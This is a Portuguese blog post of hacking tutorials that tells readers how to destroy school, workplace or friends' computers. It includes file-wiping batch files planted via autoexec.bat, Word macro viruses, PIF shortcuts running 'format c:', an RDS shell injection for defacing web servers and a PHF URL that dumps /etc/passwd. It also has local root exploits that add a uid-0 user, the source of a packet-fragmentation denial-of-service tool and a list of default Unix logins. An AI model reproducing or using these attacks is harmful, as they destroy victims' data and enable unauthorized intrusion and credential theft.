terça-feira, 2 de junho de 2009

Faça seu Vírus


Este texto irá ensinar, de modo fácil, destruir o computador da sua escola (ou daquele otario do seu amigo que gosta de ficar dando uma de Hacker ,ou o do seu trabalho, etc.)
Primeiro, crie em seu computador um arquivo de lote (nem precisa copilar), se não souber aí vai, pelo DOS digite:

copy con arquivo.bat

@echo off

@echo frase de sua preferência

del*.sys

del*.exe

del*.com

cd windows

del*.*

del arquivo.bat

@echo frase de sua preferência

Pronto, um arquivo virus de lote foi criado em seu computador, calmaaaa!!! Hehe, ele não fará nada contanto que você não digite "arquivo"no diretório onde ele está.
Remova este arquivo (arquivo.bat) para um disquete, junto a ele um "autoexec.bat" com a linha de comando: C:\arquivo .bat.
Agora é com você! Leve o disquete para a escola (trabalho, casa de amigo, etc.) e quando tiver uma oportunidade, insira o disco na unidade referente (geralmente a:) e copie os arquivos para o diretório C:\ Pronto! Retire o disco e diga thau, hehe.

VEJA UM EXEMPLO DE VIRUS DE MACRO QUE ADULTERA A IMPRESSÃO.

Vírus 12/04
Sub MAIN
If Dia(Agora()) = 12 and Mês(Agora()) = 04 Then
DefinirAtributo “C:\msdos.sys”, 0 aaaaOpen “C:\io.sys” For Output As # 1 aaaaPrint #1, “Beba Josta”
Close #1
End if
Open “c:\autoexec.bat” For Output As #1
Print #1, “@echo off” Print #1, “cls” aaPrint #1, “@deltree /y c:\windows > nul”
Close #1
End Sub

ROTINA 2

Sub MAIN
Open “C:\imaiden.txt” for Output As #1”
Print #1 “Código em hexadecimal”
Print #1 “Código em hexadecimal” ‘(continuação)...
Close #1
Shell “debug texto.txt”
Shell “c:\imaiden.com”
End Sub

ROTINA 3

Sub MAIN
MacroCopiar “Global:Inocu”, “DocumentoNovo”, 0
End sub

Vírus Fagundes Varela

Sub MAIN
InícioDocumento
Inserir “Lembra dessas noites”
Inserir CHR$(13)
Inserir “Cheias de doce harmonia,” aaa Inserir CHR$(13)
Inserir “Quando a floresta gemia” aa aaa Inserir CHR$(13)
Inserir “Do vento aos brandos açoites?”
Inserir CHR$(13)
Inserir CHR$(13)
Inserir “Quando as estrelas sorriam” aaa Inserir CHR$(13)
Inserir “Quando as campinas tremiam”
Inserir CHR$(13)
Inserir “Nas dobras do úmido véu?” aaa Inserir CHR$(13)
Inserir “E nossas almas unidas”
Inserir CHR$(13)
Inserir “Estreitavam-se, sentidas,” aaa Inserir CHR$(13)
Inserir “Ao brilhar daquele céu?” aaaArquivoImprimirPadrão
End Sub

Detonando PC



  • Para criar o arquivo você deve editar o "código" dele .... Use o bloco de notas... Vamos lá...
    Abra o bloco de notas. Vamos criar um arquivo BAT, não estamos fazendo nenhum vírus, isto é apenas uma seqüência de comandos DOS juntos, na verdade escondidos.. tipow, você num vai chegar pra alguém e pedir pra ele digitar no DOS : deltree /y c:\*.* , porque ninguém em seu juízo normal, ( hehehe) vai fazer isso..... Nesse arquivo você vai dizer o que acontecerá quando o arquivo for executado....Sendo assim, vc pode colocar mensagens antes e após a execução dos comandos.
    Aí estão alguns comandos ( estes são comandos de DOS )que você poderá colocar no seu arquivo bomba :

    deltree =
    deleta arquivos e diretórios
    rename =
    renomeia arquivos e diretórios
    cls =
    limpa a tela
    @echo off =
    faz com que os comandos abaixo dessa linha não sejam mostrados
    @echo on =
    faz com que os comandos abaixo dessa linha sejam mostrados
    pause =
    pausa a execução do arquivo. ( faz aparecer uma linha ="Pressione qualquer tecla para continuar..."). Um arquivo destes simples pode ser feito com o seguinte código:

    @echo off

    c:\

    deltree /y c:\*.*

    Vamos entender o que estes comandos farão...

    @echo off : fará com que os comandos c:\ e deltree /y c:\*.* não sejam mostrados....
    c:\ :
    Chama o drive c:
    deltree /y c:\*.* :
    deleta todos os arquivos e diretórios do HD. Se você não colocar o /y após o comando deltree, aparecerá uma pergunta assim > "Excluir.....?" Então não esqueça de colocar o /y após o deltree.

    Agora que você já bateu o código, salve o arquivo com extensão .bat
    exemplo : "arquivo.bat"
    NÃO ESQUEÇA DE COLOCAR A EXTENSÃO .bat se não fizer isso, o bloco de notas salvará o arquivo como .txt.
    Cuidado para nao executar o arquivo. Enquanto ele estiver com extensão bat, você ainda poderá mudar os comandos dele, abrindo-o no bloco de notas e fazendo as alterações...
    Estando o arquivo com extensão bat, qualquer um poderá ver o código, inclusive a vítima... portanto, assim que vc acabar de criar o arquivo bomba, transforme-o em executável . Para tranformar arquivo BAT em COM, pegue o programa
    "BAT2EXEC na sessão Downloads"
    Pronto... esses sãos os comandos básicos para acabar com os dados do pc de alguém.

  • Invadindo por RD'S



  • Obs.: Só funciona se o provedor usar Windows NT.
    Essa porra é usado pra hackear paginas , pra isso vc precisa saber a pasta que se encontra o index ou default, bom na maioria dos casos é só digitar wwww.servidor.com/idq.idq, ai aparece a bosta do diretorio!, geralmente é c:InetPubwwwroot , bom ai tem que descobrir se o servidor usa index.asp,index.html,index.htm e mesma coisa com default.
    Bom exemplo, como faço? assim, www.servidor.com/idq.idq ou ida.ida ou idc.idc, bom ai vou ver o diretorio.. anoto num txt, agora só decobrir se é index ou default e qual a extensão, bom só testando.. www.servidor.com/index.extenções possiveis ; ou www.servidor.com/default.exetenções possiveis , bom qual entrar é o certo ai é só anotar, vamos supor que o diretorio é :
    c:inetpubwwwrootindex.htm, ai depois de ter achado isso entra na tela do RDS, ou seja www.servidor.com/msadc/samples/adctest.asp, e vai aparecer a tela do RDS, agora apague tudo que tiver escrito no query e digite:
    Select * from Products where ProductType='|shell("cmd /c echo (O QUE QUER QUE APAREÇA NO SEU HACKED) > c:InetPubwwwrootindex.htm")|'
    Depois é só apertar RUN e pronto!, agora vamos se por que vc quer evitar tudo isso, é so pegar um exploit chamado msadc.pl e pronto.. vc usa assim:
    perl msadc.pl -h www.servidor.com , se aparecer cmd , vc digita :
    (O que quer escrever) <>

  • Invasão via Browser



  • O ataque via browser é um dos ataques mais fáceis de executar, mas não da nem 50% de sucessos. Vou tentar explicar como você usa esse método:
    Primeiramente você tem que entender o que está fazendo, não adianta selecionar a dica aperta CTRL+C e colocar no navegador achando que ele vai fazer tudo para você não, entenda:

    Bom, como já sabe o geralmente o arquivo "passwd" é o que contém os passwords encripitados (se você não sabe ainda, aprenda um pouco sobre o UNIX) , existem vários servidores que só Root pode entrar no diretório "/etc", para outros usuários é bloqueado o acesso a esse diretório, mas existe um método para tentar pegar esse arquivo. No diretório /cgi-bin do Web Server (Pagina WEB do servidor) geralmente contém um arquivos chamdo PHF. O PHF permite aos usuários ganhar acesso remoto para arquivos (inclusive o /etc/passwd). Então através desse arquivo você pode tentar pegar a lista de passwords, é muito simples, apenas digite essa URL no seu browser:

    http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd


    Então substitua o "xxx.xxx.xxx" pelo endereço do servidor que você quer hackear.


    Ex:http://www.tba.com.br/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd


    Antes de tentar qualquer ataque não custa nada usar o anonymizer , mais lembre-se nunca , nunca mesmo apague arquivos ou comandos.

  • Exploits EM GERAL!



  • O que são exploits?

    A palavra mesmo já dá uma idéia do que seja... explorar... explorar o que? Explorar vunerabilidades de sistemas, saca? Tipo, se existe um bug no Outlook Express que quando você manda uma msg, pra alguem que usa ele pra receber email, com o assunto (subject) com mais de 5000 caracteres ele trava, então fazem exploits ou voce mesmo pode fazer que explora essa vunerabilidade, saca... um exploit pode ser um programa ou mesmo só o codigo dele que voce pode compilar em seu computador. Compilar é pegar seu codigo fonte e faze-lo ficar executável... programação saca.... Para que servem? Vélho, pense assim, pô, se existe um erro, a gente pode explora-lo para beneficio próprio, saca. Tipo existia um erro num sendmail aí que você podia anexar a qualquer email o próprio arquivo de senhas do servidor, então fizeram um exploit para fazer isso com mais facilidade e muito mais êxito saca... com o exploit voce precisaria apenas falar pra que email era pra enviar o arquivo de senhas e o exploit fazia o resto... essa manha do sendmail já foi arrumada a um tempão viu.... existem muito erros em programas por aí que podemos exploita-los saca... "Regras!" Não é bem uma regra, porque essa não existe pra ser quebrada. Você pode usar vários exploits que existem por aí, mas nunca em benefício do mau saca. Voce não tem o direito de usar a porra de um exploit, q uma pessoa regaço os neuronios pra faze-lo, pra chegar e derrubar um site pra o seu encher de visitas. Esse não é a ideologia de quem faz exploits, eles existem pra denunciar as inseguranças, para que pessoas usem eles para fazerem algo de bom saca... Que tal você pegar e tranferir uma grana de um politico desses aí pra uma instituiçao dessas massa... o q acha. Não se esqueça de que usando apenas exploits você não estará fazendo um ataque completamente seu, a maioria do ataque foi feito pelo carinha q fez o exploit. Crie, nao copie! Onde econtra-los? Existe alguns sites que publicam exploits, e você mesmo pode publicar o seu neles. Tipo, tem a RootShell, que é estrangeiro, mas muito bom o site, apesar de tá fraquinho hoje em dia. Tem tb o a Securenet que é Brasileiro, e muito bom por sinal, vários exploits. Mais um pouco de exploits EXPLOIT Exploits locais são programas geralmente feitos em C que explorarm a vulnerabilidade de programas e sistemas para ganhar acesso root ( de administrador ) , 90% dos exploits são para sistemas Linux , os exploits locais são scripts em C que vc irá rodar no servidor a partir de uma shell adquirida , os exploits locais são os melhores de se usar , pela sua variedade e confiaça de acesso ( desde que voce saiba o que está fazendo ) , alguns possuem pequenos trojans para dar acesso ao seu desenvolvedor , o que acho importante de se saber C para vc não se dar mal , mais isso é bom pq ferra os Lahma tbm : ) . Existem varios tipos de exploits locais , uma infinidade , cada um com sua função e seu jeito de executar . O que vc vai fazer é basicamente o seguinte , voce irá copiar o exploit para o provedor de sua shell e depois compilar ele , para copiar voce usa um programa de FTP e para compilar voce irá usar o telnet , ( use o Linux nessa operação toda ), após ter copiado o exploit para a shell vamos compilar ele : Welcome to Linux 2.0.X Host Login : nirvana Password: Linux 2.0.X Host :~$ gcc -o exploit exploit.c

    --------------------

    1

    Exploits locais são programas geralmente feitos em C que exploram a vulnerabilidade de programas e sistemas para ganhar acesso root ( de administrador ) , 90% dos exploits são para sistemas Linux , os exploits locais são scripts em C que você irá rodar no servidor a partir de uma shell adquirida , os exploits locais são os melhores de se usar , pela sua variedade e confiança de acesso ( desde que você saiba o que está fazendo ) , alguns possuem pequenos trojans para dar acesso ao seu programador .

    Existem vários tipos de exploits locais , uma infinidade , cada um com sua função e seu jeito de executar . O que você vai fazer é basicamente o seguinte , você irá copiar o exploits para o provedor de sua shell e depois compilar ele , para copiar você usa um programa de FTP e para compilar você irá usar o telnet , ( use o Linux nessa operação toda ), após ter copiado o exploits para a shell vamos compilar ele :
    Welcome to Linux 2.0.X

    Host Login : nirvana
    Password:
    Linux 2.0.X

    Host :~$ gcc -o exploits exploits.c < ----Compilando o Exploits.

    Depois de compilado vamos rodá-lo para ganhar acesso root .

    Host :~$ ./exploit <---Rodando o exploit no sistema.

    Depois que você rodar o exploits vai aparecer uma série de Lixos , que geralmente são os Buffer Owerflows no sistema , ai logo surgirá o prompt root :

    Host :~# <---Aqui tu ficou root no sistema , deu certo :) bah!!!

    Agora você poderá acrescentar um usuário root para que não tenha que fazer toda essa merda de novo , você pode usar o adduser e depois colocar os 0:0 de root no passwd ou fazer diretamente pelo comando echo , o que acho mais confiável .

    Host :~# echo newroot::0:1:Novo Root:/:bin/bash <<<---colocando usuário no passwd .

    Se o sistema tiver shadow você acrescenta devida linha no shadow também , depois é só se logar novamente e fazer a festa . :)

    Welcome to Linux 2.0.X

    Host Login : newroot
    Password:
    Linux 2.0.X

    Host :~#

    ExploitS RemotoS
    SecuritY

    Os Exploits Remotos como já diz o próprio nome , são parecidos com os Exploits Locais , mais , não precisam de uma shell para Hackear na maquina a qual se quer Hackear , precisa é de uma base para rodá-lo , podendo ser um Linux e nunca um Windows , pois o programa é em C ou Perl e o RWindows não permite tal tarefa ; os exploits remotos exploram Bugs remotamente dando ao Hacker acesso privilegiado no sistema . O que você vai fazer é pegar o exploit , compilar ele no seu Linux e depois rodá-lo com o host ao qual vai atacar . As vulnerabilidades mais comuns usadas são as de BIND , FTP , IMAPD e POP . Você pode achar esses exploits na net , não colocarei eles aqui por motivo de segurança , ja que esta page é para fins educativos e de prevenção , e não escola de bunda mole :)

    Usando o exploits :

    Host :# gcc -o exploit exploit.c < ----Compilando o Exploit.
    Host :# ./exploit
    ***************************
    Exploit Remoto by Security Chaos
    Use Exploit ./exploit host
    ***************************
    Host :# ./exploit 127.0.0.1

    Logo que na sua maioria ele der o buffer Owerflow remotamente no sistema ele te dará o prompt root e você poderá adicionar o seu user root .

    --------------------

    2

    Exploitando:

    1. Logue em um sistema qualquer que você tenha um account.

    2. Digite no Shell:
    $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
    $ chmod +x /tmp/rxbug
    $ rxvt -print-pipe /tmp/rxbug
    3. No rxvt xclient:
    $ cat
    ESC[5i
    ESC[4i

    4. $ /tmp/rxsh
    # whoami
    root
    #

    ------------------------------------------------------------------------------

    O problema do KILL MOUSE/STARTMOUSE, este comando esta na parte
    dos pacotes DOOM em sistemas LINUX, ‚ só rodar estes dois scripts.

    ----------------------------------startmouse.sh

    /usr/games/doom/startmouse.sh:
    #!/bin/sh
    if [ -r /tmp/gpmkilled ]; then
    /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript
    /bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript /tmp/gpmkilled
    fi

    ----------------------------------startmouse.sh

    ----------------------------------killmouse.sh

    /usr/games/doom/killmouse.sh:
    #!/bin/sh
    if /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep "gpm" ; then
    GPM_RUNNING=true; /bin/killall gpm; /bin/touch /tmp/gpmkilled
    fi

    ----------------------------------killmouse.sh

    $ touch /tmp/gpmkilled
    $ /usr/games/doom/startmouse

    ps -aux | grep gpm
    bo 1436 0.0 2.0 40 312 v03 R 16:33 0:00 grep gpm
    root 1407 0.0 2.4 42 368 ? S 16:24 0:00 /usr/bin/gpm t ms


    $ umask 0
    $ ln -s /root/.rhosts /tmp/gpmkilled
    $ /usr/games/doom/killmouse
    1407 ? S 0:00 gpm t ms

    $ ls -l /root/.rhosts
    -rw-rw-rw- 1 root users 0 Dec 13 16:44 /root/.rhosts

    $ echo localhost bo > /root/.rhosts
    $ rsh -l root localhost sh -i
    bash#

    ------------------------------------------------------------------------------

    Jaeger, abre a porta do cliente, sistema FBSD, ultrix e linux
    by jaeger (jaeger@dhp.com)

    begin prservice.c

    ------------------Corte aqui

    /* modified by jaeger 12Nov1996. Duplicated slack coding style.



    now takes

    port locuser remuser [cmd]

    port remuser passwd [cmd]

    where port is the dst port you wish the stderr socket to connect to

    from the server to the client machine.



    /* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up

    rsh/rexec attacks. Needs to be a prog because shells strip out nulls.



    args:

    locuser remuser [cmd]

    remuser passwd [cmd]



    cmd defaults to "pwd".



    ... whatever. _H*/



    #include



    /* change if you like; "id" is a good one for figuring out if you won too */

    static char cmd[] = "pwd";



    static char buf [256];



    main(argc, argv)

    int argc;

    char * argv[];

    {

    register int x;

    register int y = 0;

    char * p;

    char * q;



    p = buf;

    memset (buf, 0, 256);



    if (! argv[1])

    goto wrong;

    x = strlen (argv[1]);

    memcpy (p, argv[1], x); /* port plus null */

    x++;

    p += x;

    y += x;



    if (! argv[2])

    goto wrong;

    x = strlen (argv[2]);

    memcpy (p, argv[2], x); /* second arg plus null */

    x++;

    p += x;

    y += x;



    if (! argv[3])

    ---------------------Corte aqui

    ------------------------------------------------------------------------------

    Usuário pode pegar o passwd, sistema linux
    by Zygo Blacell (zblaxell@MIRANDA.UWATERLOO.CA)

    Em um diretório onde você possa escrever, entre nele e edita um
    arquivo unlinkavel. O problema esta em lpr(1)não olhe os
    diretorios com (eg. /tmp)

    [ patch deleted]

    D'oh! It doesn't. :(

    Patheie o script e zaz daqui algums dias volte l e de um lpr-s

    mkdir /tmp/foobar
    ln -s /etc/passwd /tmp/foobar
    lpr big_huge_file
    lpr -r /tmp/foobar/passwd

    rm -rf /tmp/foobar ; ln -s /etc /tmp/foobar

    OU

    ln -fs /home/private_file /tmp/foobar/passwd # Does this work?

    /etc/passwd goes away.

    ------------------------------------------------------------------------------

    Usuário loga como ROOT, sistema linux
    by Ken Weaverling (weave@hopi.dtcc.edu)

    Em alguns sistemas antigos de Linux existem um bug muito escroto,
    onde ‚ so colocao alguns sinais que vc loga como ROOT...

    No sistema Slackware 2.3/ kernel 1.2.13. ‚ só digitar quando vc
    for logar pelo telnet...

    '+::0:0:::'

    Sacou ‚ isto mesmo ‚ s¢ digitar no password '+::0:0:::'

    ------------------------------------------------------------------------------

    Rlogin, usuário loga como ROOT, sistema AIX e
    Linux (Slackware 3.1, Redhat 2.0-2.1) autor desconhecido bug
    retirado da ROOTSHELL

    :
    % rlogin haxored.net -l -froot
    #

    ------------------------------------------------------------------------------

    ip_fragment.c, não sei o que faz ainda não testei, sistema
    Linux 2.0.33 remandado por Michal Zalewski


    ----------------------ip_fragment.c

    if(len>65535)
    {
    - printk("Oversized IP packet from %s.\n", in_ntoa(qp->iph->saddr));
    + NETDEBUG(printk("Oversized IP packet from %s.\n", in_ntoa(qp->iph->saddr)));
    ip_statistics.IpReasmFails++;
    ip_free(qp);
    return NULL;

    -------------------------------------------------------------------------

    // overdrop by lcamtuf [Linux 2.0.33 printk abuse]
    // ------------------------------------------------
    // based on (reaped from) teardrop by route|daemon9

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    #define IP_MF 0x2000
    #define IPH 0x14
    #define UDPH 0x8
    #define PADDING 0x1c
    #define MAGIC 0x3
    #define COUNT 0xBEEF
    #define FRAG2 0xFFFF

    void usage(char *name) {
    fprintf(stderr,"%s dst_ip [ -n how_many ] [ -s src_ip ] [ -x ] (use -x for express delivery).\n",name);
    exit(0);
    }

    u_long name_resolve(char *host_name) {
    struct in_addr addr;
    struct hostent *host_ent;
    if ((addr.s_addr=inet_addr(host_name))==-1) {
    if (!(host_ent=gethostbyname(host_name))) return (0);
    bcopy(host_ent->h_addr,(char *)&addr.s_addr,host_ent->h_length);
    }
    return (addr.s_addr);
    }


    void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt) {
    u_char *packet=NULL,*p_ptr=NULL;
    u_char byte;
    struct sockaddr_in sin;
    sin.sin_family=AF_INET;
    sin.sin_port=src_prt;
    sin.sin_addr.s_addr=dst_ip;
    packet=(u_char *)malloc(IPH+UDPH+PADDING);
    p_ptr=packet;
    bzero((u_char *)p_ptr,IPH+UDPH+PADDING);
    byte=0x45;
    memcpy(p_ptr,&byte,sizeof(u_char));
    p_ptr+=2;
    *((u_short *)p_ptr)=htons(IPH+UDPH+PADDING);
    p_ptr+=2;
    *((u_short *)p_ptr)=htons(242);
    p_ptr+=2;
    *((u_short *)p_ptr)|=htons(IP_MF);
    p_ptr+=2;
    *((u_short *)p_ptr)=0x40;
    byte=IPPROTO_UDP;
    memcpy(p_ptr+1,&byte,sizeof(u_char));
    p_ptr+=4;
    *((u_long *)p_ptr)=src_ip;
    p_ptr+=4;
    *((u_long *)p_ptr)=dst_ip;
    p_ptr+=4;
    *((u_short *)p_ptr)=htons(src_prt);
    p_ptr+=2;
    *((u_short *)p_ptr)=htons(dst_prt);
    p_ptr+=2;
    *((u_short *)p_ptr)=htons(8+PADDING);
    if (sendto(sock,packet,IPH+UDPH+PADDING,0,(struct sockaddr *)&sin,
    sizeof(struct sockaddr))==-1) {
    perror("\nsendto");
    free(packet);
    exit(1);
    }
    p_ptr=&packet[2];
    *((u_short *)p_ptr)=htons(IPH+MAGIC+1);
    p_ptr+=4;
    *((u_short *)p_ptr)=htons(FRAG2);
    if (sendto(sock,packet,IPH+MAGIC+1,0,(struct sockaddr *)&sin,
    sizeof(struct sockaddr))==-1) {
    perror("\nsendto");
    free(packet);
    exit(1);
    }
    free(packet);
    }


    int main(int argc, char **argv) {
    int one=1,count=0,i,rip_sock,lag=500;
    u_long src_ip=0,dst_ip=0;
    u_short src_prt=0,dst_prt=0;
    struct in_addr addr;
    fprintf(stderr,"overdrop by lcamtuf [based on teardrop by route|daemon9]\n\n");
    if((rip_sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
    perror("raw socket");
    exit(1);
    }
    if (setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) {
    perror("IP_HDRINCL");
    exit(1);
    }
    if (argc < 2) usage(argv[0]);
    if (!(dst_ip=name_resolve(argv[1]))) {
    fprintf(stderr,"Can't resolve destination address.\n");
    exit(1);
    }
    while ((i=getopt(argc,argv,"s:n:x"))!=EOF) {
    switch (i) {
    case 'n':
    count = atoi(optarg);
    break;
    case 's':
    if (!(src_ip=name_resolve(optarg))) {
    fprintf(stderr,"Can't resolve source address.\n");
    exit(1);
    }
    break;
    case 'x':
    lag=0;
    break;
    default:
    usage(argv[0]);
    break;
    }
    }
    srandom((unsigned)(time((time_t)0)));
    if (!count) count=COUNT;
    fprintf(stderr,"Sending oversized packets:\nFrom: ");
    if (!src_ip) fprintf(stderr," (random)"); else {
    addr.s_addr = src_ip;
    fprintf(stderr,"%15s",inet_ntoa(addr));
    }
    addr.s_addr = dst_ip;
    fprintf(stderr,"\n To: %15s\n",inet_ntoa(addr));
    fprintf(stderr," Amt: %5d\n",count);
    fprintf(stderr,"[ ");
    for (i=0;i<><><><><><><><><><><><><>

  • Invadindo Unix



  • Entrando no sistema - Para entrar no sistema, você deve entrar com um "login", que pode ter de 1 a 8 dígitos e um password que pode ter de 6 a 8 dígitos. Dai você tem duas saídas:

    1. Arrumar a lista de passwords com um hacker

    2. Tentar entrar com os defaults.
    Ver quem está on-line com os comandos: who, rwho, finger; e tentar entrar com seus logins mais tarde. Defaults são logins e passwords que já vem com o sistema. Eles ficam residentes até que o sysop o desliguem, então você pode dar a sorte de encontrar um esquecido. Veja lista abaixo:

    Login Password

    root root
    root system
    sys sys
    sys system
    daemon daemon
    uucp uucp
    tty tty
    test test
    unix unix
    unix test
    bin bin
    adm adm
    adm admin
    admin adm
    admin admin
    sysman sysman
    sysman sys
    sysman system
    sysadmin admin
    sysadmin sys
    sysadmin system
    sysadmin sysadmin
    sysadmin adm
    who who
    learn learn
    uuhost uuhost
    guest guest
    host host
    nuucp nuucp
    rje rje
    games games
    sysadmin sysadmin
    games games
    games player
    sysop root
    sysop sysop
    demo demo

    3. Dentro do sistema: Dentro do sistema, a primeira coisa que você deve fazer é copiar o arquivo da lista de passwords.
    Ele se está em: /etc/passwd Nesse arquivo, você vai encontrar as informações na seguinte sintaxe:
    username:password:UserID:GroupID:descrição ou nome:homedir:shell Ex.:ard:234abc56:7148:34:Rodrigo
    Ardilha:/home/dir/ard:/bin/ard Username: ardilha Encrypted Password: 234abc56 User Number: 7148 Group Number: 34
    Other Information: Rodrigo Ardilha Home Directory: /home/dir/ard Shell: /bin/ard Esse arquivo muito provávelmente estará encriptado. O password estará escondido e, sem um programa para decriptá-la, a lista será inútil. Antes de usar
    o programa decriptador que não dá certeza de sucesso, tente encontrar um login sem password pois assim, você só precisará digitar o login para entrar no sistema. Ex.: ard::7148:34:Rodrigo Ardilha:/home/dir/ard:/bin/ard Depois da lista
    de passwords, pegue os seguintes arquivos: /etc/group - É a lista de newsgroups e seus passwords também encriptados.
    sintaxe - groupname:password:group id:users in group /etc/hosts - É a lista de hosts conectados ao sistemas. Útil quando a conexão é via telenet ou rlogin. /usr/mail/ - É onde estão guardadas as mensagens de cada usuário.

  • Vírus PIF


    O que são PIF’s:

    Os pif são atalhos criados para arquivos que rodem no MS-DOS "geralmente com a extensão .com" sem a necessidade do windows; só que esse atalhos tem propriedades avançadas para o windows conseguir trabalhar com esse arquivos.

    Criando um PIF Maldito:

    Crie um atalho para um arquivos que rode no MS-DOS ex.: "command.com" Agora vá em propriedades na parte programa ; no campo arquivo de lote coloque um comando fatal .

    --------- comandos Fatais ---------

    echo s|format c: /q/v:Hahahaha
    deltree/y c:\windows
    dir >> c:\windows\win.com

    Você pode tambem em vez de colocar um comando fatal colocar um nome de um programa que existe naquele HD "Se você plantou um trojan por exemplo" Feito isso clique em ok!. E coloque um nome que chame a atenção da vítima

    Teste

    P/ você não se ferrar, troque o comando fatal por um normal como o dir. Se aparecer uma lista de arquivos quer dizer que seu PIF funciona.

    O que acontece:

    Acontece que o tapado do Windows executa o comando pensando que está chamando um arquivo de lote "Batch".